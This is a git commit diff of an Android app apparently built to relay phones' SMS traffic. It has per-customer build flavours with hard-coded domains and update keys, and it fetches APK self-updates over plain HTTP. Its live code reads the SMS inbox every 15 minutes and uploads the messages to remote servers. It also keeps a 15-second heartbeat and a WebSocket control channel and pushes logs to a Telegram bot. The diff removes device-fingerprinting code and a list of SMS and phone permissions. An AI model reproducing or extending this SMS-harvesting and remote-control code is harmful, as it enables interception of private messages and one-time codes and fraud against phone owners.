hanxiaomeme il y a 11 mois
Parent
commit
3ad9bd954f

+ 33 - 15
frpc_android-master/app/build.gradle

@@ -25,7 +25,6 @@ android {
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
 
         }
-
         user3 {//bcblackcoffee
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.bcblackcoffee.com\""
@@ -36,18 +35,46 @@ android {
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
 
         }
-
         user4 {//lkluckpanda
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.lkluckpanda.com\""
             buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
-            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user4/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "WEB_URL", "\"\""
 
         }
+        user5 {
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
 
+        }
+        user6 {
+            //喀麦隆
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://cm-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"455b5053-9d7f-43ae-a115-76f16cfaf3f5\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user6/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+        }
+        user7 {
+            //斯里兰卡 包名com.si.ussd
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.lovepizzaxx.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"d3bf5c93-5119-4092-bd5f-a3e99fbce2ed\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+        }
         userfy {
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.online\""
@@ -58,20 +85,11 @@ android {
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
 
         }
-        user5 {
-            dimension "baseUrl"
-            buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
-            buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
-            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
-            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
-            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
-
-        }
     }
     defaultConfig {
 //        applicationId "com.car.frpc_android"//之前老的包名
-        applicationId "com.duck.man"//加纳支付新包名用这个
+//        applicationId "com.duck.man"
+        applicationId "com.si.ussd"
         minSdkVersion 30
         targetSdkVersion 31
         versionCode 24

+ 23 - 22
frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -1,7 +1,7 @@
 package com.app.duck.util;
 
-import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
 import static com.app.duck.Config.SMS_UPLOAD_TAG;
+import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
 
 import android.annotation.SuppressLint;
 import android.content.ContentResolver;
@@ -18,15 +18,16 @@ import androidx.work.WorkManager;
 import androidx.work.Worker;
 import androidx.work.WorkerParameters;
 
-import com.blankj.utilcode.util.GsonUtils;
-import com.blankj.utilcode.util.StringUtils;
-import com.blankj.utilcode.util.TimeUtils;
-import com.blankj.utilcode.util.Utils;
 import com.app.duck.Config;
+import com.app.duck.R;
 import com.app.duck.database.DBHelper;
 import com.app.http.APPConfig;
 import com.app.http.BaseBean;
 import com.app.http.Http;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.TimeUtils;
+import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
@@ -44,9 +45,9 @@ public class CheckInboxWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[No phone number set yet.]");
-            Log.i(Config.LOG_TAG, "duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
-            XLog.i("duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
+            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, StringUtils.getString(R.string.log_tip_code_1)));
+            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_1));
+            XLog.i(StringUtils.getString(R.string.log_tip_1));
             return Result.retry();
         }
         try {
@@ -98,28 +99,28 @@ public class CheckInboxWorker extends Worker {
                                 @Override
                                 public void onError(Throwable ex) {
                                     super.onError(ex);
-                                    Log.e(Config.LOG_TAG, "duck.3 onError: SMS[" + id + "] commit error.", ex);
-                                    XLog.e("duck.3 onError: SMS[" + id + "] commit error.", ex);
+                                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_4, id), ex);
+                                    XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
                                 }
 
                                 @Override
                                 public void onFail(BaseBean t) {
                                     super.onFail(t);
-                                    Log.i(Config.LOG_TAG, "duck.3 onFail: SMS[" + id + "] commit fail.");
-                                    XLog.i("duck.3 onFail: SMS[" + id + "] commit fail.");
+                                    Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_4, id));
+                                    XLog.i(StringUtils.getString(R.string.log_tip_4, id));
                                 }
                             });
                 }
 
             }
-            Log.i(Config.LOG_TAG, "duck.3 success.");
-            XLog.i("duck.3 success.");
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_5));
+            XLog.i(StringUtils.getString(R.string.log_tip_5));
+            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_5) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
             return Result.success();
         } catch (Exception e) {
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[" + e.getMessage() + "]");
-            Log.e(Config.LOG_TAG, "duck.3 retrying.", e);
-            XLog.e("duck.3 retrying.", e);
+            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
+            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
             return Result.retry();
         }
 
@@ -127,8 +128,8 @@ public class CheckInboxWorker extends Worker {
     }
 
     public static void start() {
-        Log.i(Config.LOG_TAG, "duck.3 worker start.");
-        XLog.i("duck.3 worker start.");
+        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_6));
+        XLog.i(StringUtils.getString(R.string.log_tip_6));
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
     }
@@ -156,8 +157,8 @@ public class CheckInboxWorker extends Worker {
                 map.put("id", id + "");
             }
         } catch (Exception e) {
-            Log.e(Config.LOG_TAG, "duck.3 message error.", e);
-            XLog.e("duck.3 message error.", e);
+            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
         } finally {
             if (cursor != null) {
                 cursor.close();

+ 14 - 13
frpc_android-master/app/src/main/java/com/app/duck/util/HeartbeatWorker.java

@@ -14,6 +14,7 @@ import androidx.work.Worker;
 import androidx.work.WorkerParameters;
 
 import com.app.duck.Config;
+import com.app.duck.R;
 import com.app.http.APPConfig;
 import com.app.http.BaseBean;
 import com.app.http.Http;
@@ -35,9 +36,9 @@ public class HeartbeatWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(BREATH_TAG).post("duck.1 retrying.[No phone number set yet.]");
-            Log.i(Config.LOG_TAG, "duck.1 retrying.[No phone number set yet.]");
-            XLog.i("duck.1 retrying.[No phone number set yet.]");
+            LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
+            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
+            XLog.i(StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
             return Result.retry();
         }
         HashMap<String, Object> map = new HashMap<>();
@@ -55,25 +56,25 @@ public class HeartbeatWorker extends Worker {
                 .post(new Http.HttpCallBack<String>() {
                     @Override
                     public void onNext(String model) {
-                        LiveEventBus.get(BREATH_TAG).post("duck.1 connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-                        Log.i(Config.LOG_TAG, "duck.1 connected.");
-                        XLog.i("duck.1 connected.");
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_9) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_9));
+                        XLog.i(StringUtils.getString(R.string.log_tip_9));
                     }
 
                     @Override
                     public void onError(Throwable ex) {
                         super.onError(ex);
-                        Log.e(Config.LOG_TAG, "duck.1 disconnected.", ex);
-                        XLog.e("duck.1 disconnected.", ex);
-                        LiveEventBus.get(BREATH_TAG).post("duck.1 disconnected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_10), ex);
+                        XLog.e(StringUtils.getString(R.string.log_tip_10), ex);
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_10) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
                     }
 
                     @Override
                     public void onFail(BaseBean t) {
                         super.onFail(t);
-                        Log.i(Config.LOG_TAG, "duck.1 disconnected.[" + t.getMsg() + "]");
-                        XLog.i("duck.1 disconnected.[" + t.getMsg() + "]");
-                        LiveEventBus.get(BREATH_TAG).post("duck.1 disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_10) + ":" + t.getMsg());
+                        XLog.i(StringUtils.getString(R.string.log_tip_10) + ":" + t.getMsg());
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_10) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
 
                     }
                 });
@@ -81,7 +82,7 @@ public class HeartbeatWorker extends Worker {
     }
 
     public static void start() {
-        XLog.i("duck.1 start.");
+        XLog.i(StringUtils.getString(R.string.log_tip_11));
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
                 .build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);

+ 9 - 234
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -1,59 +1,32 @@
 package com.app.duck.util;
 
-import android.Manifest;
-import android.annotation.SuppressLint;
 import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
-import android.os.Build;
-import android.os.Environment;
-import android.os.StatFs;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.telephony.SubscriptionInfo;
-import android.telephony.SubscriptionManager;
-import android.text.format.Formatter;
 import android.util.Log;
 
-import androidx.annotation.NonNull;
-
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
 import com.app.duck.dialog.UploadAppDialog;
-import com.blankj.utilcode.util.AppUtils;
-import com.blankj.utilcode.util.BrightnessUtils;
-import com.blankj.utilcode.util.DeviceUtils;
-import com.blankj.utilcode.util.GsonUtils;
-import com.blankj.utilcode.util.NetworkUtils;
-import com.blankj.utilcode.util.PhoneUtils;
 import com.blankj.utilcode.util.SPUtils;
-import com.blankj.utilcode.util.ScreenUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.TimeUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 
 import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileFilter;
-import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
-import java.lang.reflect.Field;
-import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
-import java.util.Map;
-import java.util.TimeZone;
 import java.util.concurrent.TimeUnit;
 
 import io.reactivex.Completable;
@@ -68,23 +41,6 @@ import okhttp3.Response;
  * description:
  */
 public class HxUtils {
-    @SuppressLint("MissingPermission")
-    @NonNull
-    public static List<String> phoneList() {
-        List<String> phone = new ArrayList<>();
-        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP_MR1) {
-            SubscriptionManager subscriptionManager = SubscriptionManager.from(Utils.getApp());
-            List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
-            if (subsInfoList == null) return phone;
-            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
-                String number = subscriptionInfo.getNumber();
-                phone.add(number);
-            }
-            return phone;
-        }
-        return phone;
-    }
-
 
     public static void QueryXiaoMiSmsInbox() {
         Uri SMS_INBOX = Uri.parse("content://sms/");
@@ -96,17 +52,6 @@ public class HxUtils {
         cur.close();
     }
 
-    public static String[] permissions() {
-        List<String> permission = new ArrayList<>();
-        permission.add(Manifest.permission.READ_SMS);
-        permission.add(Manifest.permission.SEND_SMS);
-        permission.add(Manifest.permission.RECEIVE_SMS);
-        permission.add(Manifest.permission.RECEIVE_BOOT_COMPLETED);
-        permission.add(Manifest.permission.READ_PHONE_STATE);
-        permission.add(Manifest.permission.WAKE_LOCK);
-        permission.add(Manifest.permission.CALL_PHONE);
-        return permission.toArray(new String[0]);
-    }
 
     public static HashMap<String, HashSet<String>> provideHashMap() {
         HashMap map = new HashMap<>();
@@ -145,18 +90,17 @@ public class HxUtils {
         new Thread(() -> {
             OkHttpClient client = new OkHttpClient();
             Request request = new Request.Builder()
-                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
+                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)
                     .build();
             try (Response response = client.newCall(request).execute()) {
                 if (response.isSuccessful()) {
                     String fileContent = response.body().string();
-                    XLog.i("Check for update:" + fileContent);
                     ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);
 
                 }
             } catch (IOException e) {
-                Log.e(Config.LOG_TAG, "Check for update error.", e);
-                XLog.e("Check for update error.", e);
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_12), e);
+                XLog.e(StringUtils.getString(R.string.log_tip_12), e);
                 e.printStackTrace();
             }
         }).start();
@@ -180,14 +124,14 @@ public class HxUtils {
                         if (!StringUtils.isEmpty(object.getString("botToken"))) {
                             HxUtils.setBotToken(object.getString("botToken"));
                         }
-                        Log.i(Config.LOG_TAG, "BotConfig update success.");
-                        XLog.i("BotConfig update success.");
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.update_log_config_suc));
+                        XLog.i(StringUtils.getString(R.string.update_log_config_suc));
                         ToastUtils.showLong(R.string.update_log_config_suc);
                     }
                 } catch (IOException e) {
                     ToastUtils.showLong(R.string.update_err);
-                    Log.e(Config.LOG_TAG, "BotConfig update error", e);
-                    XLog.e("BotConfig update error", e);
+                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), e);
+                    XLog.e(StringUtils.getString(R.string.update_err), e);
                     e.printStackTrace();
                 }
                 return null;
@@ -205,181 +149,12 @@ public class HxUtils {
 
             @Override
             public void onFail(Throwable t) {
-                Log.e(Config.LOG_TAG, "BotConfig update error", t);
-                XLog.e("BotConfig update error", t);
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), t);
+                XLog.e(StringUtils.getString(R.string.update_err), t);
             }
         });
     }
 
-    public static String getDeviceInfo() {
-        Map<String, Object> map = new HashMap<>();
-        map.put("app_name", AppUtils.getAppName());
-        map.put("unique_device_id", DeviceUtils.getUniqueDeviceId());
-        map.put("package_name", AppUtils.getAppPackageName());
-        map.put("app_version_name", AppUtils.getAppVersionName());
-        map.put("app_version_code", AppUtils.getAppVersionCode());
-        map.put("android_id", DeviceUtils.getAndroidID());
-        map.put("sdk_version_name", DeviceUtils.getSDKVersionName());
-        map.put("sdk_version_code", DeviceUtils.getSDKVersionCode());
-        String network = NetworkUtils.getNetworkType().toString();
-        map.put("network", network.substring(network.indexOf("_") + 1));
-        map.put("manufacturer", DeviceUtils.getManufacturer());
-        map.put("brand", Build.BRAND);
-        map.put("model", DeviceUtils.getModel());
-        map.put("is_root", DeviceUtils.isDeviceRooted() ? 1 : 0);
-        map.put("adb_enable", DeviceUtils.isAdbEnabled() ? 1 : 0); //Android Debug Bridge,就是起到调试桥的作用
-        map.put("abis", DeviceUtils.getABIs());
-        map.put("is_tablet", DeviceUtils.isTablet() ? 1 : 0);
-        map.put("is_emulator", DeviceUtils.isEmulator() ? 1 : 0);
-        map.put("is_same_device", DeviceUtils.isSameDevice(DeviceUtils.getUniqueDeviceId()) ? 1 : 0);
-        map.put("is_phone", PhoneUtils.isPhone() ? 1 : 0);
-        map.put("phone_type", PhoneUtils.getPhoneType());
-        map.put("is_sim_card_ready", PhoneUtils.isSimCardReady() ? 1 : 0);
-        map.put("sim_operator_name", PhoneUtils.getSimOperatorName());
-        map.put("sim_operator_by_mnc", PhoneUtils.getSimOperatorByMnc());
-        map.put("ip", NetworkUtils.getIPAddress(true));
-        map.put("deviceWidth", ScreenUtils.getScreenWidth());
-        map.put("deviceHeight", ScreenUtils.getScreenHeight());
-        map.put("language", Utils.getApp().getResources().getConfiguration().locale.toString());
-        map.put("ramCanUse", getAvailMemory());
-        map.put("ramTotal", getTotalMemory());
-        map.put("romCanUse", getAvailableInternalMemorySize());
-        map.put("romTotal", getTotalInternalMemorySize());
-        map.put("productionDate", Build.TIME);
-        map.put("brightness", BrightnessUtils.getBrightness());
-        map.put("bootTimeWake", getScreenOffTime());
-        map.put("timeTotalWake", getBootTime());
-        map.put("cpuNum", getNumberOfCPUCores());
-        map.put("mainBoardName", Build.BOARD);
-        map.put("time", TimeUtils.getNowMills());
-        map.put("timeZone", timeZ());
-        map.put("lang", Utils.getApp().getResources().getConfiguration().locale.getLanguage());
-        map.put("country", Utils.getApp().getResources().getConfiguration().locale.getCountry());
-        map.put("bootTime", bootTime());
-        map = getPhoneOsInfo(map);
-        return convertMapToString(map);
-    }
-
-    private static Map<String, Object> getPhoneOsInfo(Map<String, Object> map) {
-
-        Field[] fields = Build.class.getDeclaredFields();
-        for (Field field : fields) {
-            field.setAccessible(true);
-            try {
-                map.put("os_" + field.getName(), field.get(null));
-            } catch (Exception e) {
-                e.printStackTrace();
-
-            }
-        }
-        return map;
-
-    }
-
-    private static String convertMapToString(Map<String, Object> map) {
-        StringBuilder stringBuilder = new StringBuilder();
-        for (Map.Entry<String, Object> entry : map.entrySet()) {
-            String key = entry.getKey();
-            Object value = entry.getValue();
-            stringBuilder.append(key).append(": ").append(GsonUtils.toJson(value)).append("\n");
-        }
-        return stringBuilder.toString();
-    }
-
-    private static String getAvailMemory() {
-        ActivityManager am = (ActivityManager) Utils.getApp().getSystemService(Context.ACTIVITY_SERVICE);
-        ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo();
-        if (am == null) return "";
-        am.getMemoryInfo(mi);
-        return Formatter.formatFileSize(Utils.getApp(), mi.availMem);
-    }
-
-    private static String getTotalMemory() {
-        String path = "/proc/meminfo";
-        String firstLine = null;
-        int totalRam = 0;
-        try {
-            FileReader fileReader = new FileReader(path);
-            BufferedReader br = new BufferedReader(fileReader, 8192);
-            firstLine = br.readLine().split("\\s+")[1];
-            br.close();
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        if (firstLine != null) {
-            totalRam = (int) Math.ceil((Float.valueOf(Float.valueOf(firstLine) / (1024 * 1024)).doubleValue()));
-        }
-
-        return totalRam + "GB";
-    }
-
-    private static long getAvailableInternalMemorySize() {
-        File path = Environment.getDataDirectory();
-        StatFs stat = new StatFs(path.getPath());
-        long blockSize = stat.getBlockSize();
-
-        long availableBlocks = stat.getAvailableBlocks();
-        return availableBlocks * blockSize;
-    }
-
-    private static long getBootTime() {
-        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
-    }
-
-    private static long getTotalInternalMemorySize() {
-        File path = Environment.getDataDirectory();
-        StatFs stat = new StatFs(path.getPath());
-        long blockSize = stat.getBlockSize();
-        long totalBlocks = stat.getBlockCount();
-        return totalBlocks * blockSize;
-    }
-
-    private static int getScreenOffTime() {
-        int screenOffTime = 0;
-        try {
-            screenOffTime = Settings.System.getInt(Utils.getApp().getContentResolver(),
-                    Settings.System.SCREEN_OFF_TIMEOUT);
-        } catch (Exception localException) {
-
-        }
-        return screenOffTime;
-    }
-
-    private static int getNumberOfCPUCores() {
-        try {
-            File[] cores = new File("/sys/devices/system/cpu/").listFiles(CPU_FILTER);
-            if (cores != null)
-                return cores.length;
-
-        } catch (SecurityException | NullPointerException e) {
-
-            return 0;
-        }
-        return 0;
-    }
-
-    private static final FileFilter CPU_FILTER = pathname -> {
-        String path = pathname.getName();
-        //regex is slow, so checking char by char.
-        if (path.startsWith("cpu")) {
-            for (int i = 3; i < path.length(); i++) {
-                if (path.charAt(i) < '0' || path.charAt(i) > '9') {
-                    return false;
-                }
-            }
-            return true;
-        }
-        return false;
-    };
-
-    private static String timeZ() {
-        TimeZone tz = TimeZone.getDefault();
-        return tz.getDisplayName(false, TimeZone.SHORT);
-    }
-
-    private static long bootTime() {
-        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
-    }
 
     public static Completable waitService(String serviceName, Context context) {
         return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)

+ 5 - 6
frpc_android-master/app/src/main/java/com/app/duck/util/Service1.java

@@ -23,6 +23,7 @@ import com.app.duck.R;
 import com.app.duck.database.AppDatabase;
 import com.app.duck.database.Config;
 import com.app.duck.ui.MainActivity;
+import com.blankj.utilcode.util.AppUtils;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import frpclib.Frpclib;
@@ -94,11 +95,9 @@ public class Service1 extends Service {
                 });
 
 
-
     };
 
 
-
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
         return START_STICKY;
@@ -109,10 +108,10 @@ public class Service1 extends Service {
 
         String notificationChannelId = "duck_man_channel";
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-            String channelName = "DuckMan Notification";
+            String channelName = AppUtils.getAppName() + "Notification";
             int importance = NotificationManager.IMPORTANCE_HIGH;
             NotificationChannel notificationChannel = new NotificationChannel(notificationChannelId, channelName, importance);
-            notificationChannel.setDescription("DuckMan Service");
+            notificationChannel.setDescription(AppUtils.getAppName() + "Service");
             notificationChannel.enableLights(true);
             notificationChannel.setLightColor(Color.GREEN);
             notificationChannel.setVibrationPattern(new long[]{0, 1000, 500, 1000});
@@ -123,8 +122,8 @@ public class Service1 extends Service {
         }
         NotificationCompat.Builder builder = new NotificationCompat.Builder(this, notificationChannelId);
         builder.setSmallIcon(R.mipmap.ic_launcher);
-        builder.setContentTitle("DuckMan Foreground Service");
-        builder.setContentText("DuckMan Service is running");
+        builder.setContentTitle(AppUtils.getAppName() + "Foreground Service");
+        builder.setContentText(AppUtils.getAppName() + "Service is running");
         builder.setWhen(System.currentTimeMillis());
         Intent activityIntent = new Intent(this, MainActivity.class);
         PendingIntent pendingIntent;

+ 2 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java

@@ -6,6 +6,7 @@ import static com.app.http.APPConfig.APP_TG_SEND_MESSAGE;
 import android.util.Log;
 
 import com.blankj.utilcode.util.FileUtils;
+import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
@@ -46,7 +47,7 @@ public class TgBot {
             @Override
             public Object doInBackground() throws Throwable {
                 ToastUtils.showLong(R.string.pushing);
-                XLog.i("log start push...");
+                XLog.i(StringUtils.getString(R.string.pushing));
                 String filePath = Utils.getApp().getFilesDir().getPath() + "/ulog";
                 String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/" + HxUtils.getPhone() + "-log";
                 FileUtils.createFileByDeleteOldFile(filePathZip);

+ 32 - 19
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -53,13 +53,25 @@ public final class WsManager {
 
 
     public static WebSocket connectWebSocket() {
+        if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
+            ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13));
+                }
+            }, 10000);
+
+
+            return null;
+        }
+
         webSocketListener = new WebSocketListener() {
             @Override
             public void onOpen(WebSocket webSocket, Response response) {
                 super.onOpen(webSocket, response);
-                Log.i(Config.LOG_TAG, "duck.2 open.");
-                XLog.i("duck.2 open.");
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 open.");
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_14));
+                XLog.i(StringUtils.getString(R.string.log_tip_14));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_14));
             }
 
             @Override
@@ -103,18 +115,18 @@ public final class WsManager {
             public void onClosing(WebSocket webSocket, int code, String reason) {
                 super.onClosing(webSocket, code, reason);
                 webSocket.close(code, reason);
-                Log.i(Config.LOG_TAG, "duck.2 closing.");
-                XLog.i("duck.2 closing.");
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closing.[" + reason + "]");
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_15_s, " "));
+                XLog.i(StringUtils.getString(R.string.log_tip_15_s, " "));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_15_s, reason));
             }
 
             @Override
             public void onClosed(WebSocket webSocket, int code, String reason) {
                 super.onClosed(webSocket, code, reason);
                 reconnectWebSocket();
-                Log.i(Config.LOG_TAG, "duck.2 closed. code = " + code + ",reason = " + reason);
-                XLog.i("duck.2 closed. code = " + code + ",reason = " + reason);
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closed.[" + reason + "]");
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_16, reason));
+                XLog.i(StringUtils.getString(R.string.log_tip_16, reason));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_16, reason));
 
             }
 
@@ -122,9 +134,9 @@ public final class WsManager {
             public void onFailure(WebSocket webSocket, Throwable t, Response response) {
                 super.onFailure(webSocket, t, response);
                 reconnectWebSocket();
-                Log.e(Config.LOG_TAG, "duck.2 failure.", t);
-                XLog.e("duck.2 failure.", t);
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 failure.[" + t.getMessage() + "]");
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
+                XLog.e(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
